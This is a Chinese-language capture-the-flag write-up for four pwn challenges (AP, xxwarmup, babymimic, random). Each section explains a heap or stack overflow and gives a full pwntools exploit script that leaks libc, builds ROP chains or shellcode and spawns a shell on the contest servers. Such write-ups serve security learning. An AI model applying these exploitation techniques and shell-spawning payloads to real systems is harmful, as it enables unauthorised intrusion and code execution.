汇总
强网先锋-AP
思路很清晰,在change处,可以溢出。
所有可以通过溢出泄露heap和putslibc地址,然后将putsaddr 换成 systemaddr,在堆块里用 /bin/sh,在show时getshgell,cat flag 如下
from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
# p = process("./task_main")
p = remote('117.78.60.139',30014)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(lenth,name):
p.recvuntil('Choice >> \n')
p.sendline('1')
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(lenth))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
def show(index):
p.recvuntil('Choice >> \n')
p.sendline('2')
p.recvuntil('Please tell me which tickets would you want to open?\n')
p.sendline(str(index))
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
def edit(index,length,name):
p.recvuntil('Choice >> \n')
p.sendline('3')
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(index))
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
# gdb.attach(p)
add(0x80,"a"*0x7f)
add(0x80,'/bin/sh\x00'.ljust(0x7f,'a'))
edit(0,0x80+0x10+1,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
heap = p.recvuntil('\n')[:-1]
print heap
heap = u64(heap.ljust(8,'\x00'))
edit(0,0x80+0x18+1,'a'*0x98)
show(0)
p.recvuntil('a'*0x98)
putsaddr = u64(p.recv(6).ljust(8,'\x00'))
libcaddr = putsaddr - libc.symbols['puts']
print "**********"
print hex(heap)
print hex(libcaddr)
payload = 'a'*0x80 + p64(0) + p64(0x21) + p64(heap) + p64(libcaddr + libc.symbols['system'])
edit(0,0x80+0x20+1,payload)
show(1)
p.interactive()
xxwarmup
十分恶心的一道题,sub_80483DB存在栈溢出,难点就在ROP怎么做了,思路就是通过部分改libc_start_main(可以通过sub_80483DB去做),然后再一个ret或者jmp过去,难点是远程开启了aslr这个地址随机了,所以要碰撞一下,概率应该为1/(2^24)(可以先本地关了aslr去做,就不用爆破了)。然后尝试过程如下:
- 尝试改写为one_gadget,结果8个没有一个成功(虽然后面发现不能拿shell)
- 尝试改system传/bin/sh,发现在system内有一个抬高栈的操作sub esp, 0x15c,这样esp就指向了不可写的区域,而我们最高能控制到0x40+0x80的地方。就是说sub后一定会到不可以写区域,凉凉
- 尝试syscall去做,结果edx没gadget,全是call edx,卒
- 回过头来去改payload,用sub_80483DB把栈复制到0x500高处,然后再把esp改过去,再执行system,然后本地可以/bin/sh了。
- 然后开启多进程去碰撞远程发现不行,回去看pow.py,发现只能在最开始接收一次输入,然后在输出一次就没了,而且大小都是0x100限制了。
- 在尝试‘cat *\x00’,可以通过报错发现目录,很长,,,,。因为一开始payload构造的太长了,只剩下8字节放命令,而cat */也不能输出(猜测因为这样先匹配了bin/)
回去重构整个payload,把可以放命令的空间提高到了40字节,然后使用命令’cat _the_flag_dir_name_you_shold_guess/*\x00’,在多进程下碰撞了半天后,成功得到了flag。
exp
#-*- coding: utf-8 -*-
from pwn import *
from hashlib import *
from multiprocessing import Process
# bp 0x8048519
context.log_level = "error"
def gen(one):
_copy = 0x080483db
_esp = 0x0804a040
_libc_start = 0x0804a00c
ppp_ret = 0x08048619
pop_ebp = 0x08048518
rop = ''
rop += p32(_copy) + p32(ppp_ret) + p32(_libc_start) + p32(_esp+(13*4)) + p32(3)
rop += p32(_copy) + p32(ppp_ret) + p32(_esp+0x500-0x44) + p32(_esp+0x44) + p32(0x40)
rop += p32(pop_ebp) + p32(_esp+0x500-0x44)
rop += p32(0x08048512)
rop += p32(one)
rop += 'A' * (0x40 - len(rop) )
rop += p32(0x0804a044)
rop += p32(_esp+0x500-0x40)
rop += p32(0x080482c0) * 2
rop += p32(0)
rop += p32(_esp+0x510-0x40)
rop += 'cat _the_flag_dir_name_you_shold_guess/*\x00'
# print len(rop.encode('hex'))
# print rop.encode('hex')
return rop.encode('hex')
# gen(0xf7e29200)
def pow(io):
chal = io.recvuntil('\n',drop=True)
return iters.mbruteforce(lambda x: sha256(chal + x).hexdigest().startswith('00000'), string.letters+string.digits, 4, 'fixed')
def random_aslr(n):
r = ''.join(random.choice('abcdef'+string.digits) for _ in xrange(3))
ri = int(hex(n)[2:4]+r+hex(n)[-3:], 16)
return int(hex(n)[2:4]+r+hex(n)[-3:], 16)
def fuck():
while True:
io = remote('49.4.30.253', 31337)
# io = remote('127.0.0.1', 5002)
io.send(pow(io))
# io.sendline(gen(random_aslr(0xf7dec000+0x3cd10)))
# io.sendline(gen(0xf7e29200))
io.sendline(gen(0xf7dec000+0x3cd10))
buf = io.recvall()
print buf
if '{' in buf or 'flag' in buf:
print buf
raw_input()
io.close()
if __name__ == '__main__':
p_list = []
for ip in range(10):
p = Process(target=fuck)
p.start()
p_list.append(p)
time.sleep(1)
for res in p_list:
res.join()
babymimic
ret2syscall的拟态版本,通过add sp,把32和64区分开,然后分别rop一下,具体看exp。其中遇到几个问题:
- 最开始32和64位都是用syscall做的,32位可以成功,64位syscall执行不了不知道为什么。最后把64位换成用mprotect去增加可执行权限后ret2shellcode
- 要让32和64位程序执行后你要recv的东西一致才行,因为程序ret前puts了一下,这里要填点东西,然后\x00截断一下
- flag拿到后还有个异或操作,就很简单了
#-*- coding: utf-8 -*-
from pwn import *
from hashlib import sha256
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
token = 'bfdccbebf86687951f6d37b3e5a35fe1'
def dbg(breakpoint):
gdbscript = ''
elf_base = 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def pow():
ru('.hexdigest()=')
sha_256 = ru('\n')
ru(".encode('hex')=")
half = ru('\n').decode('hex')
dic = [chr(i) for i in range(0x100)]
ans = iters.mbruteforce(lambda x: sha256(half + x).hexdigest()==sha_256, dic, 3, 'fixed')
sla("skr.encode('hex')=", (half+ans).encode('hex'))
sla(':', token)
def exploit(io):
print ru('it?\n')
# 64位
# dbg(0x400B33)
int_0x80_x64 = 0x000000000044e82c
pop_rax = 0x000000000043b97c
pop_rdx = 0x000000000043b9d5
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
read_plt = 0x43B9C0
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret
# 32位
# dbg(0x804892F)
int_0x80_x86 = 0x080495a3
add_esp = 0x0804f095 # add esp, 0x1c ; ret
read_plt_32 = 0x0806C8E0
pop_3_ret = 0x08055f54 # pop eax ; pop edx ; pop ebx ; ret
pop_ecx = 0x0806e9f2 # pop ecx ; pop ebx ; ret
rop_32 = p32(read_plt_32) + p32(pop_3_ret) + p32(0) + p32(0x80d7000) + p32(0x100) + p32(pop_ecx) + p32(0) + p32(0) + p32(pop_3_ret) + p32(0xb) + p32(0) + p32(0x80d7000) + p32(int_0x80_x86)
# rop_64 = p64(read_plt) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6a13e3) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(int_0x80_x64)
rop_64 = p64(read_plt) + p64(pop_rdi) + p64(0x69e000) + p64(pop_rsi) + p64(0x6000) + p64(pop_rdx) + p64(7) + p64(0x43C7A0) + p64(0x6a13e3+8)
payload = 'test'+'\x00'*0x108 + 'b'*4 + p32(add_esp) + 'c'*4 + p64(add_rsp) + 'd'*0x10 + rop_32.ljust(0xc8,'e') + rop_64
# 32_ret 64_ret 32_rop(0xc8) 64_rop
s(payload)
sa('test\n','/bin/sh\x00'+'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
return io
if __name__ == '__main__':
if len(sys.argv) > 2:
io = remote(sys.argv[1], sys.argv[2])
pow()
else:
io = process(sys.argv[1], 0)
exploit(io)
irt()
random
可以分为两种chunk,暂且把calloc的成为func_chunk,malloc的成为data_chunk。
首先在输入name的时候可以带个地址出来,算到pie的基址。然后days和times姑且就输入最大的35和10。然后来看他的func_chunk的4个功能,分别是增,改,删,查,4个函数指针存放func_chunk上,在sub_10DB时调用,他的调用是这样的
free(ptr);
v5(ptr);
很明显存在一点问题,但是又感觉太抽象了。同时注意到add后会问你是否需要再add一个func_chunk。
因为堆上存在函数指针,所以思路应该是和UAF例题类似的看能不能覆盖这个指针,那么如果控制data_chunk和func_chunk大小一样大,应该哪里会造成点错误出来。
开始尝试add,但是我们一轮有10个func_chunk加上随机性,所以add一次然后gdb断下去看下堆。这样重复下去,当我add完第3个的时候发现第3个堆的开始地方居然被写了一个堆指针。仔细研究后发现,bss上的0x203168作为func_chunk的头节点,使用单向链表链接起来。那么可以通过编辑第3个data_chunk,我们能控制:
- func_chunk的这个单向链表
- 修改func_chunk的函数指针,通过call rdx可以劫持执行流
后面就是要泄漏libc了,因为限制了chunk大小,全是fast泄漏不了libc,所以构造一个0x91的堆头去free,然后打印出来就能拿到libc,接着就是call rdx执行one_gadget。由于程序逻辑有点绕,调试过程十分虐心。脚本如下:
#-*- coding: utf-8 -*-
from pwn import *
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
binary_file = './random'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[0]
cnt = 10
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{\{print \x241}\}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555758000 20\ndqs 0x555555554000+0x203168\ndq 0x555555554000+0x203180 30'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def choice(cmd, *argv):
global cnt
while True:
v = ru('\n')
if '(Y/N)' in v:
if cmd in v:
sl('Y')
break
else:
sl('N')
elif '(0~10)' in v:
sl(cnt)
else:
pass
for i in argv:
if isinstance(i,tuple):
sla(i[0],i[1])
continue
sla(':',i)
add = lambda size,content,bol :choice('add',size,content,('(Y/N)',bol))
edit = lambda idx,content :choice('update',idx,content)
show = lambda idx :choice('view',idx)
delete = lambda idx :choice('delete',idx)
def exploit(io):
global cnt
# dbg(0x176B) # strdup
# dbg(0x0177F) # srand
# dbg(0x11BA) # call func_ptr
# dbg(0x1425) # add_done
# dbg(0x159B) # free
# dbg(0x0150B) # edit_done
# dbg(0x13F2) # add_2
# dbg(0x134D) # malloc
# dbg(0x14E2) # edit_read
# dbg(0x11AC) # free_call
# dbg(0x13B3) # add_read
sa('name:', 'a'*0x8)
ru('a'*8)
elf.address = uu64(r(6))-0xb90
success('elf = 0x%x' % elf.address)
sla('?\n', 35)
add(0x3f,'0'*0x10,'Y')
add(0x3f,'1'*0x10,'Y')
add(0x17,'2'*0x10,'Y')
show(2)
ru('\n')
heap_base = uu64(ru('\n'))-0xb0
success('heap = 0x%x' % heap_base)
edit(2, flat(heap_base+0x1b0, elf.address+0x1427, p8(2)))
edit(0, flat(heap_base+0x1b0, elf.address+0x1600, 2, 0x91, heap_base+0x190, elf.address+0x129E, 2))
add(0x3f, flat(heap_base+0x250, elf.address+0x1427, 2), 'N')
show(2)
ru('\n')
unsorted_bin = uu64(r(6))
libc.address = unsorted_bin-libc.sym['__malloc_hook']-88-0x10
success('libc = 0x%x' % libc.address)
edit(1, flat('1'*0x8, 0x41, '/bin/sh\x00', libc.sym.one_gadget, 2))
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
# io = process(binary_file, env={"LD_PRELOAD":"./libc-2.23.so"})
exploit(io)
irt()